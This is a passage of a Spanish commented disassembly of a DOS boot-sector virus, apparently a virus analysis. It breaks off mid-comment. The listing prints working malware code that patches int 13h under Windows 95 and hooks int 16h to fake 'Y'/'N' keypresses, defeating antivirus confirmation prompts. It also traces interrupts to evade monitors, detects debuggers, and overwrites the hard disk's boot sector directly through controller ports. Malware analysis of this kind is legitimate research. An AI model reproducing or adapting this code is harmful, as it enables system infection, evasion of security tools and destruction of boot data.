DS ∩0DA6:1807 1F POP DS ∩0DA6:1808 E8DD02 CALL 1AE8 Ω; Sobreescribe el inicio de la Ω; int 13h con la instruccion Ω; verdadera, para que no haya Ω; problemas a la hora de invo- Ω; carla ∩0DA6:180B E86BFB CALL 1379 Ω; Rutina para comprobar si el Ω; sistema ya está infectado, Ω; y en caso contrario infectar- Ω; lo ∩0DA6:180E E8BAFE CALL 16CB Ω; Lee el BOOT del disco duro y Ω; lo vuelve a escribir. No sé Ω; para qué hace eso. ∩0DA6:1811 E8B302 CALL 1AC7 Ω; Vuelve a poner la instrucción Ω; JMP FAR en el inicio de la Ω; int 13h verdadera para que Ω; salte al virus antes de ser Ω; ejecutada. ∩0DA6:1814 E81000 CALL 1827 Ω; Mira si el sistema operativo Ω; es WINDOWS 95, y si es par- Ω; chea la int 13h (si no está) ∩0DA6:1817 E85C00 CALL 1876 Ω; Rutina para sustituir el vec- Ω; tor de la int 13h por el de Ω; la int 21h (dentro del virus) Ω; si WINDOWS 95 no le deja par- Ω; chear la int 13h. ∩0DA6:181A 5E POP SI Ω; Saca los registros guardados ∩0DA6:181B 5F POP DI Ω; antes. ∩0DA6:181C 1F POP DS ∩0DA6:181D 07 POP ES ∩0DA6:181E 5A POP DX ∩0DA6:181F 59 POP CX ∩0DA6:1820 5B POP BX ∩0DA6:1821 58 POP AX ∩0DA6:1822 EADA101601 JMP 0116:10DA Ω; Aquí guarda el vector a la Ω; int 28h, y con él construye Ω; esta instrucción JMP FAR ε;;; Rutina para ver si el WINDOWS 95 está en memoria como sistema operativo, y ε;;; si está parchear la int 13h ∩0DA6:1827 B80A16 MOV AX,160A Ω; Mira si WINDBLOWS está en me- ∩0DA6:182A CD2F INT 2F Ω; moria ∩0DA6:182C 0BC0 OR AX,AX Ω; Si no lo está... ∩0DA6:182E 7539 JNZ 1869 Ω; ...salta ∩0DA6:1830 80FF04 CMP BH,04 Ω; Comprueba si es WINDOWS 95 ∩0DA6:1833 7234 JB 1869 Ω; Si es una versión anterior Ω; (Windows 3.1 o alguna de esas) Ω; salta ∩0DA6:1835 2E CS: Ω; Activa el bit 2 en [018C] ∩0DA6:1836 800E8C0104 OR BYTE PTR [018C],04 ∩0DA6:183B B84554 MOV AX,5445 Ω; Install-check ∩0DA6:183E CD13 INT 13 ∩0DA6:1840 3D5445 CMP AX,4554 Ω; Mira si le devuelve el valor Ω; que toca ∩0DA6:1843 7423 JZ 1868 Ω; Si el virus ya está en memo- Ω; ria, salta y acaba la función ∩0DA6:1845 2E CS: Ω; Pone el bit 1 de [16CA] a 1 ∩0DA6:1846 800ECA1602 OR BYTE PTR [16CA],02 ∩0DA6:184B B81335 MOV AX,3513 Ω; Obtiene el vector de la int ∩0DA6:184E CD21 INT 21 Ω; 13h ∩0DA6:1850 2E CS: Ω; Lo guarda en [1447] ∩0DA6:1851 891E4714 MOV [1447],BX ∩0DA6:1855 2E CS: ∩0DA6:1856 8C064914 MOV [1449],ES ∩0DA6:185A 33C0 XOR AX,AX Ω; DS = 0 ∩0DA6:185C 8ED8 MOV DS,AX ∩0DA6:185E C7064C00371B MOV WORD PTR [004C],1B37 Ω; Escribe directamente en ∩0DA6:1864 8C0E4E00 MOV [004E],CS Ω; la TVI el nuevo puntero a la Ω; int 13h, que apuntará a su Ω; propia rutina ∩0DA6:1868 C3 RET Ω; Retorna Ω; Aquí llega si no es WINDOWS Ω; 95 o Windows no está en memo- Ω; ria ∩0DA6:1869 2E CS: Ω; Anula el bit 2 en [018C] ∩0DA6:186A 80268C01FB AND BYTE PTR [018C],FB ∩0DA6:186F 2E CS: Ω; Anula los bits 0 y 1 en [16CA] ∩0DA6:1870 8026CA16FC AND BYTE PTR [16CA],FC ∩0DA6:1875 C3 RET Ω; Retorna ε;;;;;; Rutina para sustituir el puntero de la int 13h por el de la int 21h si ε;;;;;; el sistema operativo es WINDOWS 95 y a pesar de todo lo que ha hecho ε;;;;;; para parchear la int 13h, ésta no ha podido ser parcheada. Me da la ε;;;;;; sensación de que esto provocará la caída del sistema. ∩0DA6:1876 2E CS: Ω; Comprueba si WINDOWS 95 está ∩0DA6:1877 F6068C0104 TEST BYTE PTR [018C],04 Ω; como sistema operativo ∩0DA6:187C 7526 JNZ 18A4 Ω; Si no está, retorna ∩0DA6:187E B84554 MOV AX,5445 Ω; Comprueba si la int 13h es- ∩0DA6:1881 CD13 INT 13 Ω; tá parcheada ∩0DA6:1883 3D5445 CMP AX,4554 Ω; Si le devuelve el valor es- ∩0DA6:1886 741C JZ 18A4 Ω; perado, salta y retorna ∩0DA6:1888 2E CS: Ω; Copia el puntero a la int 21h ∩0DA6:1889 A10D1B MOV AX,[1B0D] Ω; guardado en [1B0D] a [1447] ∩0DA6:188C 2E CS: ∩0DA6:188D A34714 MOV [1447],AX ∩0DA6:1890 2E CS: ∩0DA6:1891 A10F1B MOV AX,[1B0F] ∩0DA6:1894 2E CS: ∩0DA6:1895 A34914 MOV [1449],AX ∩0DA6:1898 2E CS: Ω; Anula los bits 0 y 1 en :16CA ∩0DA6:1899 8026CA16FC AND BYTE PTR [16CA],FC ∩0DA6:189E E81702 CALL 1AB8 Ω; Copia los primeros bytes de Ω; la int 21h al sitio donde Ω; estaban los de la int 13h ∩0DA6:18A1 E82302 CALL 1AC7 Ω; Inserta allí una instrucción Ω; JMP FAR para que salte al Ω; inicio de la ahora int 21h Ω; (antes era la int 13h) ∩0DA6:18A4 C3 RET Ω; Retorna ε;;;;; Emulación de la instrucción INT 13h ∩0DA6:18A5 9C PUSHF Ω; Guarda banderas para responder co- ∩0DA6:18A6 2E CS: Ω; rrectamente a IRET y hace un FAR ∩0DA6:18A7 FF1E4714 CALL FAR [1447] Ω; CALL a la dirección de la int 13h ∩0DA6:18AB C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;; Nueva interrupción 16h ;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;; Código que ha puesto como interrupción 16h y sirve para emular que se ha ε;; pulsado la tecla 'Y' o 'N' para despistar y engañar a ciertos monitores ε;; antivirus que preguntan si se quiere continuar con la operación de escritu- ε;; ra o cosas así, sin que le dé tiempo al usuario a pulsarlo él mismo. ∩0DA6:18AC 80FC01 CMP AH,01 Ω; Mira si al invocar a la int 16h Ω; se intenta saber si hay algún Ω; caracter en el buffer de teclado ∩0DA6:18AF 7737 JA 18E8 Ω; Si el número de función es ma- Ω; yor, salta ∩0DA6:18B1 80FC01 CMP AH,01 Ω; Falta de optimización pa morir- Ω; se!! No sé si ha sido un despis- Ω; te por parte del creador del vi- Ω; rus este o es que todavía no se Ω; ha dado cuenta de que los saltos Ω; no modifican las banderas. Esta Ω; instrucción se la podría haber Ω; ahorrado y evitado así 3 bytes Ω; más de tamaño. Esto puede pare- Ω; cer muy poco, pero tres bytes de Ω; aquí, uno de allá, etc. etc. re- Ω; duce el código bastante ∩0DA6:18B4 7412 JZ 18C8 Ω; Si es la función 1, salta ∩0DA6:18B6 E86300 CALL 191C Ω; Inserta siempre según las varia- Ω; bles en [18EE] y [18F0] la tecla Ω; 'Y' o 'N' en el buffer de tecla- Ω; do como si ésta hubiera sido Ω; pulsada. Esto sirve para que en Ω; los monitores que pregunte si el Ω; usuario quiere continuar con la Ω; acción de escritura en BOOT o en Ω; lo que sea, se responda que sí Ω; o que no, según, y que al usua- Ω; rio no le dé tiempo a contestar- Ω; lo él. ∩0DA6:18B9 E83500 CALL 18F1 Ω; Llama a la int 16h ∩0DA6:18BC E84900 CALL 1908 Ω; Obtiene en AX el scan-code de la Ω; tecla 'Y' o 'N' ∩0DA6:18BF 2E CS: Ω; En [18F0] mete el valor 2 (la ∩0DA6:18C0 C606F01802 MOV BYTE PTR [18F0],02 Ω; función en :1908 retorna- Ω; ría el valor de 'N' si se Ω; llamara ahora) ∩0DA6:18C5 CA0200 RETF 0002 Ω; Retorno de interrupción Ω; Aquí desde :18B4 si es la función Ω; 01 de la int 16h (comprobar si Ω; hay caracteres en el buffer de Ω; teclado). ∩0DA6:18C8 2E CS: Ω; Decrementa el byte en [18ED] ∩0DA6:18C9 FE0EED18 DEC BYTE PTR [18ED] ∩0DA6:18CD 7519 JNZ 18E8 Ω; Si no es 0, salta y acaba ∩0DA6:18CF 2E CS: Ω; Pone en [18ED] el valor 5 ∩0DA6:18D0 C606ED1805 MOV BYTE PTR [18ED],05 ∩0DA6:18D5 50 PUSH AX Ω; Guarda AX y CX ∩0DA6:18D6 51 PUSH CX ∩0DA6:18D7 E82E00 CALL 1908 Ω; Obtiene el scan-code de la tecla Ω; 'Y' o 'N', según. ∩0DA6:18DA 8BC8 MOV CX,AX Ω; Lo pone en CX ∩0DA6:18DC B405 MOV AH,05 Ω; Lo añade al final del buffer de ∩0DA6:18DE CD16 INT 16 Ω; teclado como si ésta hubiera si- Ω; do pulsada ∩0DA6:18E0 59 POP CX Ω; Saca AX y CX guardados ∩0DA6:18E1 58 POP AX ∩0DA6:18E2 E80C00 CALL 18F1 Ω; Simula la int 16h ∩0DA6:18E5 CA0200 RETF 0002 Ω; Retorna ∩0DA6:18E8 EA2D047000 JMP 0070:042D Ω; JMP FAR a la interrupción 16h Ω; En [18E9] y [18EB] guarda offset Ω; y segmento respectivamente de la Ω; interrupción 16h (teclado) ∩0DA6:18ED 0400 ADD AL,00 ∩0DA6:18EF 0002 ADD [BP+SI],AL ε;;;;; Rutina de emulación de la instrucción INT 16h ∩0DA6:18F1 9C PUSHF ∩0DA6:18F2 2E CS: ∩0DA6:18F3 FF1EE918 CALL FAR [18E9] ∩0DA6:18F7 C3 RET ε;; Combinaciones de los Scan-Codes de las teclas 'Y' y 'N'. Forman las combi- ε;; naciones 'YN', 'NN', YY', 'NY'. ∩0DA6:18F8 59 POP CX ∩0DA6:18F9 154E31 ADC AX,314E ∩0DA6:18FC 4E DEC SI ∩0DA6:18FD 314E31 XOR [BP+31],CX ∩0DA6:1900 59 POP CX ∩0DA6:1901 155915 ADC AX,1559 ∩0DA6:1904 4E DEC SI ∩0DA6:1905 315915 XOR [BX+DI+15],BX ε;; Rutina para obtener en AX el valor scan-code y ASCII de las teclas 'Y' o ε;; 'N', tal y como las recibiríamos de la función 0 de la interrupción 16h. ε;; Devolverá los valores de 'Y' o 'N' según las variables en [18EE] y [18F0] ∩0DA6:1908 57 PUSH DI Ω; Guarda DI ∩0DA6:1909 2E CS: Ω; Mete en DI el valor en ∩0DA6:190A 8B3EEE18 MOV DI,[18EE] Ω; [18EE]. Si cuando ha saltado Ω; esta interrupción se estaba Ω; ejecutando cercano a :1993, Ω; este valor será 0000 ∩0DA6:190E 2E CS: Ω; Y aquí mete en AL el valor ∩0DA6:190F A0F018 MOV AL,[18F0] Ω; 0 o 2, según la porción de Ω; código que se haya ejecutado Ω; ya. ∩0DA6:1912 98 CBW Ω; AH = 0 ∩0DA6:1913 03F8 ADD DI,AX Ω; Le suma a DI el valor en AX ∩0DA6:1915 2E CS: Ω; Pone en AX el valor en [DI+ ∩0DA6:1916 8B85F818 MOV AX,[DI+18F8] Ω; +18F8], y puede ser entonces Ω; 1559h (el Scan-Code y el va- Ω; lor ASCII de la tecla 'Y') Ω; o 3143h (tecla 'N') ∩0DA6:191A 5F POP DI Ω; Saca el DI original ∩0DA6:191B C3 RET Ω; Retorna ε;;;;;; Rutina para simular que se ha pulsado la tecla 'Y' o 'N' si éstas no ε;;; han sido pulsadas o se ha pulsado otra diferente. ∩0DA6:191C 50 PUSH AX Ω; Guarda AX y CX en el stack ∩0DA6:191D 51 PUSH CX ∩0DA6:191E B401 MOV AH,01 Ω; AH con la función 1 ∩0DA6:1920 E8CEFF CALL 18F1 Ω; Emula una instrucción INT Ω; 16h ∩0DA6:1923 7414 JZ 1939 Ω; Si no hay caracteres en el Ω; buffer de teclado, salta ∩0DA6:1925 91 XCHG CX,AX Ω; Intercambia CX y AX ∩0DA6:1926 E8DFFF CALL 1908 Ω; Obtiene en AX y según los Ω; valores en [18EE] y [18F0] Ω; el Scan-Code y el valor Ω; ASCII de las teclas 'Y' y Ω; 'N' ∩0DA6:1929 3BC1 CMP AX,CX Ω; Compara si CX es esa tecla ∩0DA6:192B 7415 JZ 1942 Ω; Si es esa, salta y acaba ∩0DA6:192D 1E PUSH DS Ω; Si no, guarda DS ∩0DA6:192E 33C0 XOR AX,AX Ω; Pone DS a 0 ∩0DA6:1930 8ED8 MOV DS,AX ∩0DA6:1932 A11A04 MOV AX,[041A] Ω; Coge la variable de la BIOS Ω; que indica el puntero al si- Ω; guiente caracter en el buffer ∩0DA6:1935 A31C04 MOV [041C],AX Ω; y pone el mismo en la varia- Ω; ble que indica el primer es- Ω; pacio libre en el buffer ∩0DA6:1938 1F POP DS Ω; Saca DS Ω; Desde :1923 si no hay carac- Ω; teres en el buffer de tecla- Ω; do. ∩0DA6:1939 E8CCFF CALL 1908 Ω; Obtiene en AX el valor de la Ω; tecla 'Y' o 'N', según las Ω; variables en [18EE] y [18F0] ∩0DA6:193C 8BC8 MOV CX,AX Ω; Lo pone en CX ∩0DA6:193E B405 MOV AH,05 Ω; Simula que se ha pulsado esa ∩0DA6:1940 CD16 INT 16 Ω; tecla mediante la función 5 Ω; de la int 16h Ω; Aquí desde :192B si se ha pul- Ω; sado en verdad la tecla que Ω; el virus quería que se pulsa- Ω; ra. ∩0DA6:1942 59 POP CX Ω; Saca CX y AX del stack ∩0DA6:1943 58 POP AX ∩0DA6:1944 C3 RET Ω; Retorna ε;;;;;; Rutina para escribir el BOOT parcheando la int 16h para saltarse moni- ε;;;;;; tores que pregunten si se desea continuar con la acción que está inten- ε;;;;;; tando escribir en el BOOT ∩0DA6:1945 55 PUSH BP Ω; Ein? ¿¿¿Rutina en C/Pascal??? ∩0DA6:1946 8BEC MOV BP,SP Ω; No estoy seguro, pero tiene Ω; el mismo inicio que una de Ω; ellas. Y además, por el sis- Ω; tema de llamar a la función Ω; pasándole parámetros en el Ω; stack, creo que sí que es. Ω; Curioso... ∩0DA6:1948 C606910100 MOV BYTE PTR [0191],00 Ω; Guarda ciertos datos ∩0DA6:194D C70682017100 MOV WORD PTR [0182],0071 ∩0DA6:1953 C606850100 MOV BYTE PTR [0185],00 ∩0DA6:1958 C606840101 MOV BYTE PTR [0184],01 ∩0DA6:195D B81335 MOV AX,3513 Ω; Obtiene el puntero de la int ∩0DA6:1960 CD21 INT 21 Ω; 13h ∩0DA6:1962 891E7E01 MOV [017E],BX Ω; Lo guarda en esa zona de da- ∩0DA6:1966 8C068001 MOV [0180],ES Ω; tos, que es de donde coge la Ω; rutina de trazado de inte- Ω; rrupciones el puntero a tra- Ω; zar ∩0DA6:196A E889E8 CALL 01F6 Ω; Traza la interrupción 13h pa- Ω; ra encontrar el verdadero Ω; inicio de ella y saltarse a Ω; la torera los monitores anti- Ω; virus ∩0DA6:196D FC CLD Ω; Direction Flag a 0 ∩0DA6:196E BE7E01 MOV SI,017E Ω; En SI el puntero recién tra- Ω; zado ∩0DA6:1971 BF4714 MOV DI,1447 Ω; En DI el lugar donde guardará Ω; el puntero de la int 13h ∩0DA6:1974 A5 MOVSW Ω; Lo copia ∩0DA6:1975 A5 MOVSW ∩0DA6:1976 B80D44 MOV AX,440D Ω; Vuelve a hacer esto, que no ∩0DA6:1979 BB8001 MOV BX,0180 Ω; tiene lógica a no ser que sea ∩0DA6:197C B94B08 MOV CX,084B Ω; una nueva función en Windows ∩0DA6:197F CD21 INT 21 Ω; 95 (no se me ocurre otra co- Ω; sa). ∩0DA6:1981 B81635 MOV AX,3516 Ω; Captura el puntero de la int ∩0DA6:1984 CD21 INT 21 Ω; de teclado ∩0DA6:1986 891EE918 MOV [18E9],BX Ω; Lo guarda en lugar seguro for- ∩0DA6:198A 8C06EB18 MOV [18EB],ES Ω; mando un JMP FAR ∩0DA6:198E C606ED1805 MOV BYTE PTR [18ED],05 Ω; Guarda el valor 5 en Ω; [18ED] ∩0DA6:1993 C706EE180000 MOV WORD PTR [18EE],0000 Ω; Y el valor word 0 en Ω; [18EE] (simula ahora la Ω; pulsación de la tecla Ω; 'Y') ∩0DA6:1999 BAAC18 MOV DX,18AC Ω; Engancha la interrupción 16h ∩0DA6:199C B81625 MOV AX,2516 Ω; propia que tiene preparada ∩0DA6:199F CD21 INT 21 ∩0DA6:19A1 0E PUSH CS Ω; ES = CS ∩0DA6:19A2 07 POP ES ∩0DA6:19A3 8B5E08 MOV BX,[BP+08] Ω; Pone en los registros los va- ∩0DA6:19A6 8B4E06 MOV CX,[BP+06] Ω; lores que ha pasado a la fun- ∩0DA6:19A9 8B5604 MOV DX,[BP+04] Ω; ción a través del stack, que ∩0DA6:19AC 8B460A MOV AX,[BP+0A] Ω; son los valores para escribir Ω; 512 bytes en el BOOT del sis- Ω; tema y sobreescribir con el Ω; BOOT que el virus ha prepara- Ω; do el BOOT anterior ∩0DA6:19AF E8F3FE CALL 18A5 Ω; Llama a la interrupción 13h ∩0DA6:19B2 7312 JNB 19C6 Ω; Si no hay error, salta. Que- Ω; rrá decir que ha logrado sal- Ω; tar el monitor ∩0DA6:19B4 A1EE18 MOV AX,[18EE] Ω; Obtiene en AX el valor que ha Ω; puesto antes en [18EE] ∩0DA6:19B7 0404 ADD AL,04 Ω; Suma 4 a AL ∩0DA6:19B9 A3EE18 MOV [18EE],AX Ω; Lo vuelve a poner ∩0DA6:19BC C606F01800 MOV BYTE PTR [18F0],00 Ω; En [18F0] el valor 0 ∩0DA6:19C1 3C0C CMP AL,0C Ω; Comprueba si AL es el valor Ω; 0Ch ∩0DA6:19C3 76E7 JBE 19AC Ω; Si es menor o igual, salta y Ω; hace un LOOP. Ω; Todo esto se hace por si aca- Ω; so el monitor antivirus pre- Ω; guntara varias veces o hicie- Ω; ra preguntas diferentes, a las Ω; que habría que responder 'Y' Ω; a las dos, 'N' a las dos o Ω; alternar las dos teclas. De Ω; esta manera introduce las com- Ω; binaciones 'YY', 'NN', 'YN' y Ω; 'NY' en el buffer de teclado Ω; e intenta escribir en todas Ω; ellas el BOOT suyo en el dis- Ω; co. Es una manera bastante in- Ω; geniosa de saltarse ciertos Ω; monitores. ∩0DA6:19C5 F9 STC Ω; Pone el Carry Flag a 1, indi- Ω; cando que ha habido error en Ω; la escritura del BOOT Ω; Aquí desde :19B2 si se ha es- Ω; crito correctamente ∩0DA6:19C6 9C PUSHF Ω; Guarda las banderas y DS en ∩0DA6:19C7 1E PUSH DS Ω; el stack ∩0DA6:19C8 C516E918 LDS DX,[18E9] Ω; Carga en DS:DX el puntero de ∩0DA6:19CC B81625 MOV AX,2516 Ω; la int 16h obtenido anterior- ∩0DA6:19CF CD21 INT 21 Ω; mente y lo vuelve a colocar Ω; en la TVI (Tabla de Vectores Ω; de Interrupción, que comien- Ω; za en 0000:0000). ∩0DA6:19D1 1F POP DS Ω; Saca DS y las banderas del ∩0DA6:19D2 9D POPF Ω; stack ∩0DA6:19D3 5D POP BP Ω; Saca BP guardado anteriormen- Ω; te ∩0DA6:19D4 C20800 RET 0008 Ω; Retorna eliminando del stack Ω; los parámetros pasados ini- Ω; cialmente ε;;;; Rutina que, entre otras cosas, comprueba si está bien el disco duro, por ε;;;; los errores que le ha estado dando, y si está bien escribe el BOOT en el ε;;;; disco POR HARDWARE, es decir, usando directamente los ports de la contro- ε;;;; ladora del disco duro ∩0DA6:19D7 E89900 CALL 1A73 Ω; Llama a una rutina extraña que Ω; mira si el tipo de disco duro Ω; es 1 o mayor. Esta comprobación Ω; la realiza después de realizar Ω; unas cuantas instrucciones para Ω; saber si se está intentando Ω; trazar el código con un debug- Ω; ger. Si no hay debugger, devuel- Ω; ve Carry Flag, pero si lo hay, Ω; llama a otra función para que Ω; le devuelva el tipo de disco Ω; duro que hay en el sistema. Si Ω; el tipo es mayor que 1, devuel- Ω; ve el CF a 0, y si es 1 o 0, el Ω; CF lo devuelve a 0 ∩0DA6:19DA 7207 JB 19E3 Ω; Si hay carry flag, salta a :19E3 ∩0DA6:19DC EB0A JMP 19E8 Ω; Salta si no hay CF ∩0DA6:19DE 07 POP ES Ω; Salta aquí desde :19F3 para ∩0DA6:19DF 5A POP DX Ω; terminar ∩0DA6:19E0 59 POP CX ∩0DA6:19E1 5B POP BX ∩0DA6:19E2 58 POP AX Ω; Aquí llega desde :19DA ∩0DA6:19E3 E8BFFE CALL 18A5 Ω; Rutina para ejecutar la int 13h ∩0DA6:19E6 EB79 JMP 1A61 Ω; Salta al retorno Ω; Desde :19DC ∩0DA6:19E8 50 PUSH AX Ω; Guarda registros en el stack ∩0DA6:19E9 53 PUSH BX ∩0DA6:19EA 51 PUSH CX ∩0DA6:19EB 52 PUSH DX ∩0DA6:19EC 06 PUSH ES ∩0DA6:19ED BF0400 MOV DI,0004 Ω; DI = 0004 ∩0DA6:19F0 8BF3 MOV SI,BX Ω; En SI pone BX, que guardaba la Ω; dirección del BOOT creado al Ω; principio de todo ∩0DA6:19F2 4F DEC DI Ω; Decrementa DI ∩0DA6:19F3 74E9 JZ 19DE Ω; Si es 0, salta y entre otras Ω; cosas acaba ∩0DA6:19F5 B400 MOV AH,00 Ω; Inicializa la controladora del ∩0DA6:19F7 B280 MOV DL,80 Ω; disco duro haciéndole un reset ∩0DA6:19F9 CD13 INT 13 ∩0DA6:19FB 33C0 XOR AX,AX Ω; ES = 0 ∩0DA6:19FD 8EC0 MOV ES,AX ∩0DA6:19FF 26 ES: ∩0DA6:1A00 A28E04 MOV [048E],AL Ω; Pone en [048E] el valor 0 para Ω; indicar que es inicio de opera- Ω; ción al disco duro ∩0DA6:1A03 FC CLD Ω; Direction Flag a 0 ∩0DA6:1A04 BAF603 MOV DX,03F6 Ω; Port del controlador del disco Ω; duro ∩0DA6:1A07 B004 MOV AL,04 Ω; Activa las opciones de que se Ω; pueda hacer reset al disco y se Ω; pueda inicializar ∩0DA6:1A09 EE OUT DX,AL Ω; Lo mete ∩0DA6:1A0A EB00 JMP 1A0C Ω; Retardo ∩0DA6:1A0C EB00 JMP 1A0E Ω; Retardo ∩0DA6:1A0E B000 MOV AL,00 Ω; AL = 0 ∩0DA6:1A10 EE OUT DX,AL Ω; Ahora quita lo del reset ∩0DA6:1A11 E84E00 CALL 1A62 Ω; Llama a una rutina que efectúa Ω; una espera hasta que la contro- Ω; ladora del disco duro está li- Ω; bre de trabajo ∩0DA6:1A14 BAF201 MOV DX,01F2 Ω; En DX el port donde se pone el Ω; número de sectores a escribir ∩0DA6:1A17 B001 MOV AL,01 Ω; Pone que se escribirá 1 sector ∩0DA6:1A19 EE OUT DX,AL Ω; Lo mete en el port ∩0DA6:1A1A EB00 JMP 1A1C Ω; Retardo ∩0DA6:1A1C EB00 JMP 1A1E Ω; Retardo ∩0DA6:1A1E 42 INC DX Ω; Incrementa DX para poner en él Ω; el número de port donde se co- Ω; loca el número de sector que Ω; será escrito ∩0DA6:1A1F B001 MOV AL,01 Ω; Escribirá entonces el sector Ω; número 1 ∩0DA6:1A21 EE OUT DX,AL Ω; Lo mete en el port ∩0DA6:1A22 EB00 JMP 1A24 Ω; Retardo ∩0DA6:1A24 EB00 JMP 1A26 Ω; Retardo ∩0DA6:1A26 42 INC DX Ω; Ahora pone en DX el port 01F4, Ω; que es el del número de cilin- Ω; dro que se escribirá (este es Ω; el byte bajo, 01F5 es el byte Ω; alto) ∩0DA6:1A27 B000 MOV AL,00 Ω; Mete en AL el número de cilin- Ω; dro, que será el 0 ∩0DA6:1A29 EE OUT DX,AL Ω; Lo mete en el port ∩0DA6:1A2A EB00 JMP 1A2C Ω; Retardo ∩0DA6:1A2C EB00 JMP 1A2E Ω; Retardo ∩0DA6:1A2E 42 INC DX Ω; Incrementa DX ∩0DA6:1A2F B000 MOV AL,00 Ω; Mete como byte alto de número ∩0DA6:1A31 EE OUT DX,AL Ω; de cilindro el valor 0 ∩0DA6:1A32 EB00 JMP 1A34 Ω; Retardo ∩0DA6:1A34 EB00 JMP 1A36 Ω; Retardo ∩0DA6:1A36 42 INC DX Ω; Incrementa DX ∩0DA6:1A37 B0A0 MOV AL,A0 Ω; Ahora el control ya va por bits: Ω; el bit 7 siempre estará a 1, y Ω; el bit 5 también. Si todos los Ω; demás están a 0, significa que Ω; selecciona la unidad 0 (porque Ω; la controladora de disco duro Ω; puede controlar hasta dos dis- Ω; cos, que serían 0 y 1) y el ca- Ω; bezal 0 ∩0DA6:1A39 EE OUT DX,AL Ω; Lo mete en el port ∩0DA6:1A3A EB00 JMP 1A3C Ω; Retardo ∩0DA6:1A3C EB00 JMP 1A3E Ω; Retardo ∩0DA6:1A3E 42 INC DX Ω; Incrementa DX y lo hace 01F7, Ω; que es el port de comandos ∩0DA6:1A3F B031 MOV AL,31 Ω; Mete el comando 31h, que es pa- Ω; ra escribir en el sector, cilin- Ω; dro, cabezal, etc. que se le ha- Ω; ya indicado en los ports ante- Ω; riores ∩0DA6:1A41 EE OUT DX,AL Ω; Lo saca al port ∩0DA6:1A42 E82600 CALL 1A6B Ω; Espera hasta que la controlado- Ω; ra esté preparada para recibir Ω; datos ∩0DA6:1A45 B90001 MOV CX,0100 Ω; En CX el valor 256, para escri- Ω; bir dicha cantidad de words ∩0DA6:1A48 BAF001 MOV DX,01F0 Ω; En DX el port de datos ∩0DA6:1A4B F3 REPZ Ω; Mete en el buffer de datos 512 ∩0DA6:1A4C 6F OUTSW Ω; bytes apuntados por DS:SI (no Ω; olvidemos que ya teníamos este Ω; dato de antes). ∩0DA6:1A4D 26 ES: Ω; Obtiene en AL el byte de status ∩0DA6:1A4E A08E04 MOV AL,[048E] Ω; en la BIOS de la controladora Ω; de disco duro, que será 0 al Ω; inicio de una operación de dis- Ω; co duro y FFh cuando ya ha com- Ω; pletado el comando que se le Ω; haya pasado ∩0DA6:1A51 0AC0 OR AL,AL Ω; Mira si es 0 ∩0DA6:1A53 74F8 JZ 1A4D Ω; Si lo es, hace LOOP hasta que Ω; que no lo sea, y por ende hasta Ω; que haya terminado con el co- Ω; mando ∩0DA6:1A55 E80A00 CALL 1A62 Ω; LOOPea hasta que la controlado- Ω; ra acabe con todo ∩0DA6:1A58 A821 TEST AL,21 Ω; Mira si ha habido un error de Ω; escritura o si ha dado el dis- Ω; co una revolución (?? - no sé Ω; por qué lo comprobará, a no ser Ω; que algún error genere una re- Ω; volución completa de disco) ∩0DA6:1A5A 7594 JNZ 19F0 Ω; Si está alguno de estos bits a Ω; 1 salta, y efectuará toda la Ω; rutina hasta 4 veces si hay Ω; errores consecutivos ∩0DA6:1A5C 07 POP ES Ω; Saca los registros guardados ∩0DA6:1A5D 5A POP DX ∩0DA6:1A5E 59 POP CX ∩0DA6:1A5F 5B POP BX ∩0DA6:1A60 58 POP AX ∩0DA6:1A61 C3 RET Ω; Retorna ε;;;;; Rutina para efectuar una espera hasta que la controladora del disco duro ε;;;;; ha acabado el trabajo que estaba efectuando en ese momento, y no retorna ε;;;;; hasta que acaba. ∩0DA6:1A62 BAF701 MOV DX,01F7 Ω; Obtiene del port del contro- ∩0DA6:1A65 EC IN AL,DX Ω; lador del 1er disco fijo del Ω; sistema el registro de esta- Ω; do ∩0DA6:1A66 A880 TEST AL,80 Ω; Comprueba si está ejecutando Ω; un comando ∩0DA6:1A68 75FB JNZ 1A65 Ω; Si lo está ejecutando, hace Ω; un LOOP hasta que le devuel- Ω; va que ya ha acabado ∩0DA6:1A6A C3 RET Ω; Retorna ε;;;;; Rutina que efectúa un LOOP de espera hasta que la controladora del disco ε;;;;; duro está preparada para recibir datos y procesarlos ∩0DA6:1A6B E8F4FF CALL 1A62 Ω; Espera hasta que la controlado- Ω; ra del disco acabe con lo que Ω; esté haciendo, si está haciendo Ω; algo ∩0DA6:1A6E A808 TEST AL,08 Ω; Ahora espera hasta que la con- Ω; troladora esté preparada para Ω; recibir los datos a escribir ∩0DA6:1A70 74F9 JZ 1A6B Ω; Si no lo está, hace LOOP hasta Ω; que lo esté ∩0DA6:1A72 C3 RET Ω; Aquí llega cuando la controla- Ω; dora está preparada para reci- Ω; bir los datos a escribir ε;;;;; Rutina rara que mira si el tipo de disco duro es 0 o 1, en cuyo caso ε;;;;; devuelve Carry Flag a 0. Si el tipo de disco duro fuera mayor, devuelve ε;;;;; CF. ∩0DA6:1A73 50 PUSH AX Ω; Guarda AX y BX en el stack ∩0DA6:1A74 53 PUSH BX ∩0DA6:1A75 8BC4 MOV AX,SP Ω; Pone en AX el Stack Pointer ∩0DA6:1A77 54 PUSH SP Ω; En BX también, pero de otra ∩0DA6:1A78 5B POP BX Ω; manera ∩0DA6:1A79 F9 STC Ω; Carry Flag a 1 ∩0DA6:1A7A 9C PUSHF Ω; Guarda en el stack las banderas ∩0DA6:1A7B 3BC3 CMP AX,BX Ω; Comprueba si AX es igual a BX ∩0DA6:1A7D 7513 JNZ 1A92 Ω; Si no es igual, salta (no sé lo Ω; que puede hacer que dé diferen- Ω; te) ∩0DA6:1A7F B012 MOV AL,12 Ω; En AL el valor 12h ∩0DA6:1A81 E81200 CALL 1A96 Ω; Llama a una rutina para obtener Ω; en AH los tipos de unidad fija Ω; del ordenador ∩0DA6:1A84 9D POPF Ω; Saca las banderas guardadas en Ω; el stack ∩0DA6:1A85 F8 CLC Ω; Carry Flag a 0 ∩0DA6:1A86 9C PUSHF Ω; Guarda de nuevo las banderas ∩0DA6:1A87 80E4F0 AND AH,F0 Ω; Anula los 4 bits inferiores de Ω; AH ∩0DA6:1A8A 80FC10 CMP AH,10 Ω; Comprueba si el número en AH Ω; ahora es 10 ∩0DA6:1A8D 7703 JA 1A92 Ω; Si es mayor, 